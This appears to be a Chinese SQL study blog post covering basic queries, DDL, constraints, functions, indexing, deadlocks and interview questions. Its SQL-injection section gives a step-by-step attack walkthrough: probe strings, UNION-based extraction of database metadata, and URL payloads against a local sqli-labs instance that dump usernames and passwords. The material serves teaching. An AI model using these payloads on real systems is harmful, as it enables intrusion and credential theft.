sql 学习

本文介绍了SQL中的重要概念,如WHERE与HAVING的区别、JOIN操作、AS关键字的使用、EXISTS的含义、NULL处理、通配符和LIKE/NOTLIKE,以及如何通过CONCAT和多个条件进行排序,适合SQL初学者和进阶者参考。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

参考 :SQL 常用语句大全【SQL】_常用sql-优快云博客

 mysql安装地址: 

【mysql】mysql安装使用教程(非常详细),零基础入门到精通,看这一篇就够了_mysql安装教程-优快云博客

基础查询

1.创建数据库

CREATE DATABASE myDatabase;

列出所有可用的数据库:

SHOW DATABASES;

选择要使用的数据库:

USE your_database;

列出所选数据库中的所有表:

SHOW TABLES;

2. 创建表

CREATE TABLE students (
    id INT AUTO_INCREMENT PRIMARY KEY,
    name VARCHAR(100) NOT NULL,
    age INT,
    grade VARCHAR(50)
);
 

3.基础的查询数据 select  , where ,and , or 

SELECT Name,Age,Sex
FROM UserInfo
WHERE Sex='男' AND Age=26
 

SELECT Name,Age,Sex
FROM UserInfo
WHERE Sex='男'  or  Age=26
 

4. not 

SELECT Name,Age,Sex
FROM UserInfo
WHERE NOT Sex ='男'    --注意是WHERE NOT不要写成WHERE Sex NOT

5. in  , not in 的用法

SQL高级语言(第二篇)_sql in-优快云博客

6.exists

SQL语句中exists用法_sql exists-优快云博客

select origin_num  from pupu_oms.billsource

where  exists (select origin_num  from pupu_oms.billsource

where origin_num = "71050071124") 

含义解析:exists 的意思是用于检查子查询是否至少会返回一行数据,该子查询实际上并不返回任何数据,而是返回值True或False 

7.between, not between 

注意是 是包含边界值的

SQL 基础 | BETWEEN 的常见用法_sql between-优快云博客

8. like 操作符

SQL 基础教程 - SQL LIKE 操作符-优快云博客

  not like  

某个字段同时满足多个条件

9.regexp 

SQL语言之正则表达式regexp的用法_sql regexp-优快云博客

-- 查找符合格式的邮箱
SELECT * FROM users 
WHERE email REGEXP '^[a-zA-Z][a-zA-Z0-9_.-]*\\@leetcode\\.com$' 

  1. 转义规则

    • SQL字符串本身使用反斜杠转义

    • 正则表达式也需要转义

    • 因此\@\.需要写成\\@\\.

10. null 

sql指南之null值用法_sql null-优快云博客

null 和 ‘’ 的区别

null 表示未知 或者不存在

空字符串‘’是有效的字符串值,长度为0

 1)null在聚合函数(sum,avg,min,max)中会被直接过滤掉,而''不会被过滤掉

数据库: 

COUNT()函数

  • COUNT(*):计算所有行,包括NULL

  • COUNT(column):只计算该列非NULL的行

  • COUNT(''):会计算空字符串


2)对于null的判断需要is null或is not null, 而''则需要= 或者 !=, <>


3)null占用存储空间,''不占用存储空间

11. AS 

12. insert into ...values...

指定列: 

-- 假设有students表(id, name, age, gender, score)
INSERT INTO students (name, age, score)
VALUES ('张三', 20, 89.5);  

则其他值将使用默认值或NULL

不指定列
INSERT INTO students
VALUES (NULL, '张三', 20, '男', 89.5); 

插入多行数据:

INSERT INTO students (name, age, gender)
VALUES 
    ('王五', 22, '男'),
    ('赵六', 20, '女'),
    ('钱七', 21, '男');

13. update ... set ...

14. delete from ... where...

15.order by 

MySQL order by关键字详解,order by排序-优快云博客

16.  contact 

select  concat("'", id, "',")

from  table 

where  condition 

可以对搜索结果 加上 '  ' 

17. drop

SQL 撤销索引、表以及数据库 | 菜鸟教程

1. 删除表 (DROP TABLE)

-- 基本语法
DROP TABLE table_name;

-- 安全写法(避免表不存在时报错)
DROP TABLE IF EXISTS employees;

-- 示例
DROP TABLE temp_users; 

2. 删除数据库 (DROP DATABASE)

-- 基本语法
DROP DATABASE database_name;

-- 安全写法
DROP DATABASE IF EXISTS old_inventory;

-- 示例(谨慎使用!会删除所有数据)
DROP DATABASE test_db;

3. 删除视图 (DROP VIEW)

DROP VIEW view_name;

-- 示例
DROP VIEW customer_summary;

4. 删除索引 (DROP INDEX)

-- MySQL语法
DROP INDEX index_name ON table_name;

-- 示例
DROP INDEX idx_customer_name ON customers;

18. alter 

SQL ALTER TABLE 语句 | 菜鸟教程

ALTER 是 SQL 中用于修改现有数据库对象结构的数据定义语言(DDL)命令。它允许您在不删除和重建对象的情况下更改表、视图、索引等数据库对象的结构  

1. 添加列

ALTER TABLE 表名 
ADD COLUMN 列名 数据类型 [约束条件];

-- 示例
ALTER TABLE employees 
ADD COLUMN email VARCHAR(100) NOT NULL;

2. 删除列

ALTER TABLE 表名 
DROP COLUMN 列名;

-- 示例
ALTER TABLE employees 
DROP COLUMN home_phone;

3. 修改列定义

-- 修改数据类型
ALTER TABLE 表名 
MODIFY COLUMN 列名 新数据类型;

-- 示例
ALTER TABLE products 
MODIFY COLUMN price DECIMAL(10,2);

-- 重命名列 (MySQL语法)
ALTER TABLE 表名 
CHANGE COLUMN 旧列名 新列名 数据类型;

-- 示例
ALTER TABLE customers 
CHANGE COLUMN cust_name customer_name VARCHAR(50);

4. 添加约束

-- 添加主键
ALTER TABLE 表名 
ADD PRIMARY KEY (列名);

-- 添加外键
ALTER TABLE 子表 
ADD CONSTRAINT 约束名 
FOREIGN KEY (列名) REFERENCES 父表(列名);

-- 添加唯一约束
ALTER TABLE 表名 
ADD UNIQUE (列名);

-- 示例
ALTER TABLE orders 
ADD CONSTRAINT fk_customer 
FOREIGN KEY (customer_id) REFERENCES customers(id);

6. 重命名表

ALTER TABLE 旧表名 
RENAME TO 新表名;

-- 示例
ALTER TABLE emp 
RENAME TO employees; 

5. 删除约束

ALTER TABLE 表名 
DROP 约束名;

-- MySQL删除主键
ALTER TABLE 表名 
DROP PRIMARY KEY;

19. increment

SQL AUTO INCREMENT 字段 | 菜鸟教程

20.视图 

SQL CREATE VIEW、REPLACE VIEW、 DROP VIEW 语句 | 菜鸟教程

视图: 基于一个或者多个表的查询结果集构建的虚拟表,它不实际存储数据,只存储定义,每次访问视图的时候,都会执行其定义的查询

优点: 

1.数据安全和权限控制

2.简化复杂的查询

3.进行数据整合,统一分散在不同表的相关的数据

1. 创建视图

CREATE VIEW view_name AS
SELECT column1, column2, ...
FROM table1
JOIN table2 ON condition
WHERE condition
GROUP BY column
HAVING condition;

2. 修改视图

CREATE OR REPLACE VIEW view_name AS
SELECT ...;  -- 新查询语句 

3. 删除视图

DROP VIEW [IF EXISTS] view_name;

21. distinct 

DISTINCT 是 SQL 中用于返回唯一(不重复)值的关键字,它可以应用于单个列或多个列的组合

数据库

单列去重 : 

多列去重:   此时返回的是 addressId  和City的唯一组合

和聚合函数一起使用

常用语句

1. group by  

group by与order by的区别_group by和order by-优快云博客

数据库:

使用: group by    

SELECT子句中非聚合列必须出现在GROUP BY子句中

GROUP BY通常出现在WHERE之后,ORDER BY之前

结合having使用,having是对分组后的结果进行过滤 

结合order by 使用

2.having  

零基础自学SQL课程 | HAVING子句_51CTO博客_sql零基础教程

举例: 在students表中,找出学生编号sid小于8的记录,并查找每个班主任带的男女学生数量,最后输出梳理大于2的记录

select Tid , Ssex, count(*) as num 

from students 

where Sid<8

group by Tid, Ssex 

having num > 2 

group by 后未出现的列,则不能出现在select 中,select 中没有出现的列,则不能出现在having中

where 与 having的区别

where是在group by分组前进行条件筛选,后面不可以跟聚合函数

having是在group by分组之后进行条件筛选,后面可以直接跟聚合函数

3.rolloup

数据库小计和总计之 Rollup函数 简单介绍-优快云博客

注意只能在mysql中使用

数据库: 

使用with rollup   , 必须跟在group by后面

场景: 汇总整个结果集的数据

场景:汇总每个组以及整个结果集的数据

联表查询

SQL的七种JOIN_sql join-优快云博客

1. inner join  

它的主要作用是从两个或多个表中返回满足连接条件的记录

2.left join 

  • 返回左表(表A)的所有行

  • 对于左表的每一行,如果在右表(表B)中找到匹配行,则合并这两行

  • 如果在右表中没有匹配行,则右表的所有列将显示为NULL

3. right join

 

4. full outer join

 

mysql不支持 full outer join


 

5. union , union all

SQL UNION 操作符 | 菜鸟教程

union用户合并两个或多个 SELECT 语句的结果集,使用 UNION 时,每个 SELECT 语句必须具有相同数量的列,且对应列的数据类型必须相似

特点:

  1. 合并结果集:将多个查询结果合并为一个结果集

  2. 去除重复行:自动删除重复的行(与 UNION ALL 不同)

  3. 列数必须相同:所有 SELECT 语句必须有相同数量的列

  4. 数据类型兼容:对应列的数据类型必须兼容或可隐式转换

注意事项:

  1. 列名规则:最终结果集的列名取自第一个 SELECT 语句

  2. 排序处理:ORDER BY 子句只能出现在最后一个 SELECT 语句后

  3. 性能考虑:UNION 会执行去重操作,大数据量时可能影响性能

sql约束

SQL 约束 | 菜鸟教程

约束是用于限制表中数据类型的规则,保证数据完整性

约束可以在创建表时规定(通过 CREATE TABLE 语句),或者在表创建之后规定(通过 ALTER TABLE 语句)

1. PRIMARY KEY (主键约束)

作用:唯一标识表中的每一行记录

特点

  • 不允许NULL值

  • 不允许重复值

  • 一个表只能有一个主键

-- 建表时创建
CREATE TABLE users (
    user_id INT PRIMARY KEY,
    username VARCHAR(50)
);

-- 已有表添加
ALTER TABLE users
ADD PRIMARY KEY (user_id);

-- 复合主键
CREATE TABLE orders (
    order_id INT,
    product_id INT,
    PRIMARY KEY (order_id, product_id)
);

2. FOREIGN KEY (外键约束)

作用:维护两个表之间的关系

特点

  • 确保引用完整性

  • 被引用列必须是主键或唯一键

CREATE TABLE orders (
    order_id INT PRIMARY KEY,
    user_id INT,
    FOREIGN KEY (user_id) REFERENCES users(user_id)
);

-- 添加级联操作
ALTER TABLE orders
ADD CONSTRAINT fk_user
FOREIGN KEY (user_id) REFERENCES users(user_id)
ON DELETE CASCADE;

3. NOT NULL (非空约束)

作用:强制列不接受NULL值

使用方式

CREATE TABLE employees (
    emp_id INT PRIMARY KEY,
    emp_name VARCHAR(100) NOT NULL,
    hire_date DATE NOT NULL
);

4.UNIQUE (唯一约束)

作用:确保列中的所有值都不同

特点

  • 允许NULL值(但只能有一个NULL)

  • 一个表可以有多个唯一约束

使用方式

CREATE TABLE products (
    product_id INT PRIMARY KEY,
    product_code VARCHAR(20) UNIQUE,
    product_name VARCHAR(100)
);

-- 添加复合唯一约束
ALTER TABLE product_suppliers
ADD CONSTRAINT uc_product_supplier
UNIQUE (product_id, supplier_id);

 5.CHECK (检查约束)

作用:限制列中值的范围

使用方式

CREATE TABLE employees (
    emp_id INT PRIMARY KEY,
    emp_name VARCHAR(100) NOT NULL,
    salary DECIMAL(10,2) CHECK (salary > 0),
    age INT CHECK (age >= 18 AND age <= 65)
);

-- 表级检查约束
ALTER TABLE orders
ADD CONSTRAINT chk_order_amount
CHECK (amount >= 100 OR priority = 'HIGH');

6. DEFAULT (默认约束)

作用:当插入数据未指定值时提供默认值

使用方式

CREATE TABLE orders (
    order_id INT PRIMARY KEY,
    order_date DATE DEFAULT CURRENT_DATE,
    status VARCHAR(20) DEFAULT 'PENDING'
);

7.INDEX (索引约束)

作用:加速数据检索(虽然严格来说不是约束,但常与约束配合使用)

使用方式

CREATE INDEX idx_customer_name
ON customers(last_name, first_name);

函数

1.时间函数

SQL Server 和 MySQL 中的 Date 函数 | 菜鸟教程

2.聚合函数: avg   

AVG() 函数返回数值列的平均值

3.聚合函数: count 

4.聚合函数: max , min

返回指定列的最大值 , 最小值

5.聚合函数: sum

返回指定列的和

6.upper ,lower

将字段的值转换为大写, 转为小写

7. mid

MID 函数在 SQL 中用于从字符串中提取子字符串(部分字符串)

基本语法

MID(string, start, length)
  • string:要提取子字符串的原始字符串

  • start:开始位置(从1开始计数)

  • length:要提取的字符长度(可选,如果不指定则提取到字符串末尾)

-- 从第3个字符开始提取5个字符
SELECT MID('Hello World', 3, 5);  -- 结果: 'llo W'
-- 查找所有以'A'开头第3个字符的产品
SELECT * FROM products 
WHERE MID(product_name, 3, 1) = 'A';

8.length

9.round

-- 四舍五入到2位小数
SELECT ROUND(123.4567, 2);  -- 结果: 123.46

-- 舍入到十位
SELECT ROUND(123.4567, -1); -- 结果: 120.0

-- 舍入到整数
SELECT ROUND(123.4567);     -- 结果: 123

10. format

1. 数值格式化

FORMAT(number, decimal_places, [locale])
  • 功能:将数字格式化为带千位分隔符和指定小数位的字符串

  • 示例

    SELECT FORMAT(1234567.8912, 2);  -- 结果: '1,234,567.89'
    SELECT FORMAT(1234567.8912, 3, 'de_DE');  -- 德国格式: '1.234.567,891'

2. 日期格式化(MySQL 8.0+)

DATE_FORMAT(date, format_string)
  • 常用格式符

    • %Y:4位年份

    • %m:月份(01-12)

    • %d:日(01-31)

    • %H:小时(00-23)

    • %i:分钟(00-59)

    • %s:秒(00-59)

  • 示例

    SELECT DATE_FORMAT(NOW(), '%Y-%m-%d %H:%i:%s');  -- 结果: '2023-04-15 14:30:45'

面试题总结

1. sql ,mysql的区别

2.sql语法的特征

SQL语法特性详解-优快云博客

3.数据库事务的特性

事务的概念: 事务(Transaction)是数据库操作的基本单位

事务的特性: 

  1. 原子性(Atomicity):事务是不可分割的工作单位,要么全部执行,要么全部不执行

  2. 一致性(Consistency):事务执行前后,数据库从一个一致状态变到另一个一致状态

  3. 隔离性(Isolation)多个事务并发执行时,一个事务的执行不应影响其他事务

  4. 持久性(Durability):事务一旦提交,其结果就是永久性的

一文弄懂事务的四个特性-优快云博客

4. 主键,外键,唯一性约束的区别

主键(Primary Key)

  • 定义:主键是一个数据库字段,它的值唯一标识每一条数据库记录
  • 确保每条记录在数据库中是独一无二的,防止数据重复

外键(Foreign Key)

  • 定义:外键是数据库字段,它引用了另一个表中的字段,用于建立表与表之间的关系
  • 作用:确保表之间的数据关联,保持数据的一致性。例如,学生表的“老师ID”字段作为外键,引用教师表中的“教师ID”字段 

唯一性约束(Unique Constraint)

  • 定义:唯一性约束确保数据库中某一列中的数据不会重复。
  • 作用:防止数据重复,确保数据的准确性和完整性。
  • 应用场景:可以应用在任何字段上,不仅限于主键字段。例如,客户表中的“客户编号”字段可以设置唯一性约束。
  • 特点:与主键不同,唯一性约束可以应用在非主键字段上,但主键通常也会设置唯一性约束

5. 用sql语句,判断出某列是否存在重复的值

用group by, having

select  column , count(* ) as repeat_count from table group by column having repeat_count >1 

实例: 

6.死锁

数据库死锁详解:原因、检测与解决方案-优快云博客

死锁的概念

记忆方式:

  • 破坏任意一个条件即可避免死锁

    • 破坏"互斥":用乐观锁代替悲观锁

    • 破坏"占有且等待":事务开始时一次性申请所有资源

    • 破坏"非抢占":设置锁超时(如MySQL的innodb_lock_wait_timeout

    • 破坏"循环等待":按固定顺序访问表和行

数据库如何处理死锁

1. 死锁检测机制

  • 大多数RDBMS使用**等待图(wait-for graph)**算法检测循环等待

  • 检测周期从几毫秒到几秒不等

2. 死锁解决策略

检测到死锁后,数据库会:

  1. 选择一个事务作为牺牲者(victim)

  2. 回滚该事务并释放其所有锁

  3. 返回1213错误(MySQL)或类似的死锁错误码

  4. 其他事务可以继续执行

如何避免死锁

1. 应用层最佳实践

  • 统一访问顺序:确保所有事务按相同顺序访问表和行

  • 减少事务大小:缩短事务持续时间,尽快提交

  • 合理设置隔离级别:避免不必要的锁

  • 添加重试机制:捕获死锁异常后自动重试

2. 数据库设计优化

  • 添加适当的索引:减少锁的范围

  • 避免热点更新:如顺序ID计数器可考虑使用UUID

  • 合理设计表结构:减少跨表事务

3. 数据库配置调整

  • 设置锁等待超时SET innodb_lock_wait_timeout=50;(MySQL)

  • 调整死锁检测频率:部分数据库支持配置

乐观锁和悲观锁的概念

乐观锁和悲观锁是两种不同的并发控制策略,用于解决多事务/多线程环境下的数据一致性问题

悲观锁

基本思想: "先加锁,后操作" - 假设冲突经常发生,操作数据前先加锁,确保独占访问

特点

  • 适用于写多读少的高冲突场景

  • 数据库原生支持,实现简单

  • 阻塞其他事务,可能引发死锁

  • 降低系统吞吐量

1. SQL语句显式加锁
-- MySQL/SQL Server/Oracle等通用语法
SELECT * FROM accounts WHERE id = 1 FOR UPDATE; -- 排他锁
2. 事务隔离级别控制
SET TRANSACTION ISOLATION LEVEL SERIALIZABLE; -- 最高隔离级别(最悲观

乐观锁

基本思想: "先操作,后检查" - 假设冲突很少发生,操作时不加锁,提交时检查是否冲突

特点

  • 适用于读多写少的低冲突场景

  • 无阻塞,系统吞吐量高

  • 需要应用层实现冲突检测

  • 可能产生更多重试操作

1. 版本号机制 (最常用)
-- 表添加version字段
UPDATE products 
SET stock = stock - 1, version = version + 1 
WHERE id = 100 AND version = 5; -- 如果version已被修改则更新失败

7.索引 

索引是对数据库表中一列或多列的值进行排序的结构,它能够显著提高查询效率

为什么索引能加快查询速度: 

数据库的索引能加快查询速度的核心原因在于其通过特定的数据结构(如 B 树、哈希表等)对数据进行预处理,避免全表扫描,减少磁盘 I/O 次数,从而提升查询效率

索引的类型

按功能分类:
  • 普通索引:最基本的索引类型,无约束

  • 唯一索引:确保索引列的值唯一

  • 主键索引:特殊的唯一索引,不允许NULL值

  • 复合索引:基于多个列的索引

  • 全文索引:用于全文搜索

  • 空间索引:用于地理空间数据

索引的创建与管理

创建索引:

-- 基本语法
CREATE [UNIQUE] INDEX index_name ON table_name (column1 [ASC|DESC], ...);
-- 单列索引
CREATE INDEX idx_employee_name ON employees(last_name); 



-- 示例 多列复合索引
CREATE INDEX idx_customer_name ON customers(last_name, first_name);

查看索引:

-- MySQL
SHOW INDEX FROM table_name;

删除索引:

DROP INDEX index_name ON table_name;

自动使用索引的情况

当查询满足以下条件时,数据库通常会使用索引:

  • WHERE子句中的条件列有索引

  • JOIN操作的关联列有索引

  • ORDER BY/GROUP BY的列有索引 

索引的具体应用场景 

1. 等值查询

-- 使用name列的索引
SELECT * FROM customers WHERE name = '张三';

2. 范围查询

-- 使用date列的索引
SELECT * FROM orders WHERE order_date BETWEEN '2023-01-01' AND '2023-12-31';

3. 排序优化

-- 使用hire_date索引避免全表排序
SELECT * FROM employees ORDER BY hire_date DESC;

4. 连接查询优化

-- 在department_id上建立索引可加速连接
SELECT e.name, d.department_name 
FROM employees e JOIN departments d 
ON e.department_id = d.department_id;

 索引失效的常见情况

  1. 对索引列使用函数或计算:

    -- 索引失效
    SELECT * FROM users WHERE YEAR(create_time) = 2023;
  2. 使用不等于操作符(!= 或 <>)

  3. 使用LIKE以通配符开头:

    -- 索引失效
    SELECT * FROM users WHERE username LIKE '%son';
  4. 类型转换(如字符串列用数字查询)

  5. OR条件未全部使用索引

复合索引的使用

最左前缀原则

复合索引遵循"最左前缀"匹配原则,即查询必须使用索引的最左列才能利用索引。

有效使用索引的查询

-- 使用索引列1
SELECT * FROM employees WHERE last_name = 'Smith';

-- 使用索引列1和列2
SELECT * FROM employees WHERE last_name = 'Smith' AND age = 30;

无法使用索引的查询

-- 未使用最左列(last_name)
SELECT * FROM employees WHERE age = 30;

-- 跳过了中间列
SELECT * FROM employees WHERE last_name = 'Smith' AND salary > 5000;

8. sql注入 

sql注入简单例子(非常详细),零基础入门到精通,看这一篇就够了-优快云博客

SQL注入是一种常见的网络安全攻击技术,攻击者通过在应用程序的输入字段中插入恶意的SQL代码,从而欺骗数据库执行非预期的命令 

步骤一 : 判断注入点

判断输入值是数字型 还是 字符型   : 可直接看页面功能,或者是:

如果id=n和id=(n+1)-1产生的结果一致,则可能是数字型,再尝试添加闭合符号时sql执行出错,就能证明注入点的数据类型为数字型

若返回的接口不一致,则为字符型

若: 

判断字符型(先是报错再闭合),如果有原始数据库报错信息,就一一枚举可能得闭合符号 :

' 
" 
` 
') 
") 
`) 
')) 
")) 
```))

通过输入各种引号和括号,观察是否报错,如果系统返回数据库错误(如MySQL、SQL Server等错误信息),证明用户输入被直接拼接到SQL中

判断注入点是否存在: 在疑似注入点后面加上: and 1=1 , 和and 1=2 ,如果两次执行的页面发生了变化,则说明拼接的语句在数据库中执行的时候出了问题,页面会有所改变

可以看到,当使用and 1=2时,界面发生了明显的变化(此时sql语句被拼接再到数据库中执行时,由于条件 and 1=2 不成立,sql没有出错,但语句查询不出结果,也就无法再界面中显示什么内容。到这里我们大概知道:

当我们输入的内容经过后端文件拼接,带到数据库中执行后,如果sql语句语法正确且查询有结果,那前端界面中就会显示 “You are in…………”,

如果sql语句出现了语法错误,前端界面中就会将错误信息打印出来

如果sql语句语法没问题,但给出的条件不成立,sql语句查询不到任何内容,界面就会“空空如也”

页面发生了改变,说明存在注入点

步骤二: 判断表中的列数

利用order by 结合折半查找的方式确定表中的列数

步骤三判断:字段回显的位置

利用union并将原始查询置空(置空的目的,是让union前面的select查询语句查不到结果,union前面的select语句就不会输出内容,使整个sql语句只输出union后面select语句的查询内容(也就是我们想要看到的内容))来判断数据回显的位置

步骤四 :  判断数据库信息

利用内置函数暴数据库信息
version()版本;database()数据库;user()用户;
不用猜解可用字段暴数据库信息(有些网站不适用):
and 1=2 union all select version()
and 1=2 union all select database()
and 1=2 union all select user()
操作系统信息:and 1=2 union all select @@global.version_compile_os from mysql.user
数据库权限:
and ord(mid(user(),1,1))=114 返回正常说明为root

步骤五:查找数据库名

步骤六:查找数据库表名

步骤七:查找列名

http://127.0.0.1/sqli-labs-master/Less-3/?id=-1%27)%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%20=%20%27security%27%20and%20table_name%20=%20%27users%27--+

步骤八: 知道表名知道列名,获取数据

http://127.0.0.1/sqli-labs-master/Less-3/?id=-1%27)%20union%20select%201,2,group_concat(id,username,password)%20from%20users--+

以下是错误了,可以忽略 

SQL注入的简单示例

假设有一个登录表单,后端SQL查询如下:

-- 不安全的方式(直接拼接用户输入)
SELECT * FROM users WHERE username = '$username' AND password = '$password'

攻击者可以输入:

  • 用户名:admin' --

  • 密码:任意值

最终SQL变为:

SELECT * FROM users WHERE username = 'admin' --' AND password = '任意值'

--是SQL注释符号,使得密码检查被忽略,攻击者无需密码即可登录admin账户。

基础探测语句

 搜索场景: 检测是否存在注入漏洞

' 
" 
` 
') 
") 
`) 
')) 
")) 
```))

通过输入各种引号和括号,观察是否报错,如果系统返回数据库错误(如MySQL、SQL Server等错误信息),证明用户输入被直接拼接到SQL中

注释掉后续SQL

搜索场景: 

test' --
test' # 
test' /* 

这些符号在SQL中表示注释,可以截断原查询

登录场景:

用户名: admin' --
密码: [任意或不填]

成功登录admin账户

提取用户数据

product.php?id=1 UNION SELECT 1,username,password,4 FROM users -- 

分解为:

' - 闭合原查询中的字符串引号 , 需要看前面的字段是否未字符串,还是数字

UNION SELECT - 添加联合查询

1,username,password,4 - 选择4列数据

FROM users - 从users表获取数据

-- - 注释掉原查询剩余部分

如果攻击成功,网站可能会显示:

正确的产品搜索结果 后面跟着user表中 的所有用户名和密码

提取用户数据

正常请求:
/product.php?id=1 → 显示产品1的详情

测试请求1:
/product.php?id=1 AND 1=1 → 仍然显示产品1

测试请求2:
/product.php?id=1 AND 1=2 → 不显示任何产品

则存在SQL注入漏洞

9.常用sql语句练习题

-- 员工表
CREATE TABLE Employees (
  emp_id INT PRIMARY KEY AUTO_INCREMENT,
  name VARCHAR(50) NOT NULL,
  salary DECIMAL(10, 2) NOT NULL,
  hire_date DATE NOT NULL,
  dept_id INT,
  manager_id INT,
  FOREIGN KEY (dept_id) REFERENCES Departments(dept_id),
  FOREIGN KEY (manager_id) REFERENCES Employees(emp_id)
);

-- 部门表
CREATE TABLE Departments (
  dept_id INT PRIMARY KEY AUTO_INCREMENT,
  dept_name VARCHAR(50) NOT NULL,
  location VARCHAR(50)
);

-- 项目表
CREATE TABLE Projects (
  project_id INT PRIMARY KEY AUTO_INCREMENT,
  project_name VARCHAR(50) NOT NULL,
  start_date DATE,
  end_date DATE,
  leader_id INT,
  FOREIGN KEY (leader_id) REFERENCES Employees(emp_id)
);

-- 订单表
CREATE TABLE Orders (
  order_id INT PRIMARY KEY AUTO_INCREMENT,
  order_date DATE NOT NULL,
  customer_id INT NOT NULL,
  product_id INT NOT NULL,
  quantity INT NOT NULL,
  total_amount DECIMAL(10, 2) NOT NULL,
  FOREIGN KEY (product_id) REFERENCES Products(product_id)
);

-- 产品表
CREATE TABLE Products (
  product_id INT PRIMARY KEY AUTO_INCREMENT,
  product_name VARCHAR(50) NOT NULL,
  price DECIMAL(10, 2) NOT NULL,
  stock INT NOT NULL,
  category VARCHAR(50)
);

题目:查询工资高于本公司平均工资的员工。

思路: 先得到本公司的平均工资,再用用员工工资比较大小

SELECT name, salary
FROM employees
WHERE salary > (SELECT AVG(salary) FROM employees);

题目:查询每个部门工资最高的员工信息。

思路:先得到每个部门最高的工资, 再用部门id,员工薪资去做匹配

SELECT e.*
FROM employees e
JOIN (
    SELECT dept_id, MAX(salary) AS max_salary
    FROM employees
    GROUP BY dept_id
) m ON e.dept_id = m.dept_id AND e.salary = m.max_salary;

查询没有分配到项目的员工 

SELECT *

FROM Employees

WHERE emp_id NOT IN (SELECT DISTINCT leader_id FROM Projects);

查询订单数量最多的客户

select  o.custom_id , count(o.order_id) as order_count 

from orders o 

group by o.custom_id 

order by order_count desc 

limit 1 ; 

查询每个部门的平均薪资

SELECT 
  d.dept_name,
  AVG(e.salary) AS avg_salary
FROM Departments d
JOIN Employees e ON d.dept_id = e.dept_id
GROUP BY d.dept_name;

查询薪资第2高的员工

SELECT * 
FROM Employees 
WHERE salary = (
  SELECT DISTINCT salary 
  FROM Employees 
  ORDER BY salary DESC 
  LIMIT 1 OFFSET 1
);

查询订单日期在 2023 年的订单 

SELECT * 
FROM Orders 
WHERE YEAR(order_date) = 2023;

查询薪资高于部门平均薪资的员工

select  e.name, e.salary, d.depart_name

from Employees e 

inner join Department d 

on e.dept_id = d.dept_id

where e.salary > 

(

select avg(salary) 

from Empoyees 

where dept_id =e.dept_id   -- 这里用来限定当前员工所在部门,若不限定则为全公司的平均薪资

)

10. 什么是慢查询? 

慢查询是指执行时间超过预设阈值的数据库查询操作 

这类查询通常会消耗大量系统资源(如CPU、内存、磁盘I/O),导致数据库性能下降,影响整体应用响应速度

慢查询的常见原因

原因示例
缺少索引SELECT * FROM users WHERE name LIKE '%张%'(模糊查询未用索引)
索引失效对字段使用函数(如 WHERE YEAR(create_time) = 2023
大表全表扫描未加条件查询百万级表:SELECT * FROM orders
复杂连接或子查询多层嵌套子查询或笛卡尔积连接
锁竞争长事务持有锁,导致其他查询等待
数据量增长初期性能正常的SQL,随数据量增加变慢

如何识别慢查询?

  1. 数据库日志

    • MySQL:开启慢查询日志(配置 slow_query_log=ONlong_query_time=2)。

    • PostgreSQL:设置 log_min_duration_statement=2000(单位:毫秒)。

  2. 监控工具

    • 如:Percona PMM、Datadog、Prometheus + Grafana。

  3. 执行计划分析

    • 使用 EXPLAIN 命令查看SQL的执行计划,定位性能瓶颈(如全表扫描 type=ALL

如何优化慢查询?

  1. 优化SQL语句

    • 避免 SELECT *,只查询必要字段。

    • 用 JOIN 替代子查询,减少临时表生成。

  2. 合理使用索引

    • 为高频查询条件添加索引(如 WHEREORDER BY 字段)。

    • 注意复合索引的最左匹配原则

  3. 分库分表

    • 对大数据表按时间或ID拆分(如按月分表)。

  4. 缓存层

    • 使用Redis缓存热点查询结果

  5. 数据库调优

    • 调整缓冲区大小(如 innodb_buffer_pool_size)、并发连接数等参数

11.数据库常见数据类型
 

一、数值类型

1. 整数类型

  • TINYINT:1字节,范围(-128~127)或(0~255)

  • SMALLINT:2字节,范围(-32,768~32,767)或(0~65,535)

  • INT/INTEGER:4字节,范围(-2³¹~2³¹-1)或(0~2³²-1)

  • BIGINT:8字节,大范围整数

  • BOOLEAN:布尔值(TRUE/FALSE),通常用TINYINT(1)实现

2. 浮点数类型

  • FLOAT:4字节,单精度浮点数

  • DOUBLE:8字节,双精度浮点数

  • DECIMAL(p,s)/NUMERIC:精确小数,p为总位数,s为小数位数

二、字符串类型

1. 定长字符串

  • CHAR(n):固定长度n的字符串,适合存储长度已知的数据(如身份证号)

2. 变长字符串

  • VARCHAR(n):最大长度n的可变长度字符串

  • TEXT:长文本数据(通常可达65,535字节)

  • LONGTEXT:更长的文本数据(通常可达4GB)

3. 二进制数据

  • BLOB:二进制大对象(如图片、PDF等)

  • LONGBLOB:更大的二进制对象

三、日期时间类型

  • DATE:日期值(YYYY-MM-DD)

  • TIME:时间值(HH:MM:SS)

  • DATETIME:日期时间(YYYY-MM-DD HH:MM:SS)

  • TIMESTAMP:时间戳(自动记录数据修改时间)

  • YEAR:年份值

12. 联表查询后,删除某条信息,其他表会怎么显示? 

13.简述一下内连接和外连接? 

内连接指的inner join: 返回的是两个表中满足连接条件的匹配行

外连接包含: 左外连接(返回左表的全部行,以及满足连接条件的右表匹配行,未匹配部分则用null填充),右外连接,全外连接

14.delete 语句,drop 语句

特性DELETE 语句DROP 语句
操作对象表中的数据行(记录)整个数据库、表、视图、索引等数据库对象
数据影响仅删除数据,保留表结构彻底删除对象,包括数据和结构
语法示例DELETE FROM users WHERE id = 1;DROP TABLE users; 或 DROP DATABASE db_name;
事务性支持事务(可回滚)不支持事务(立即生效,不可回滚)
执行速度较慢(逐行删除,记录日志)极快(直接删除对象定义)
TRIGGER 触发会触发表上的 AFTER DELETE 触发器不会触发触发器

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值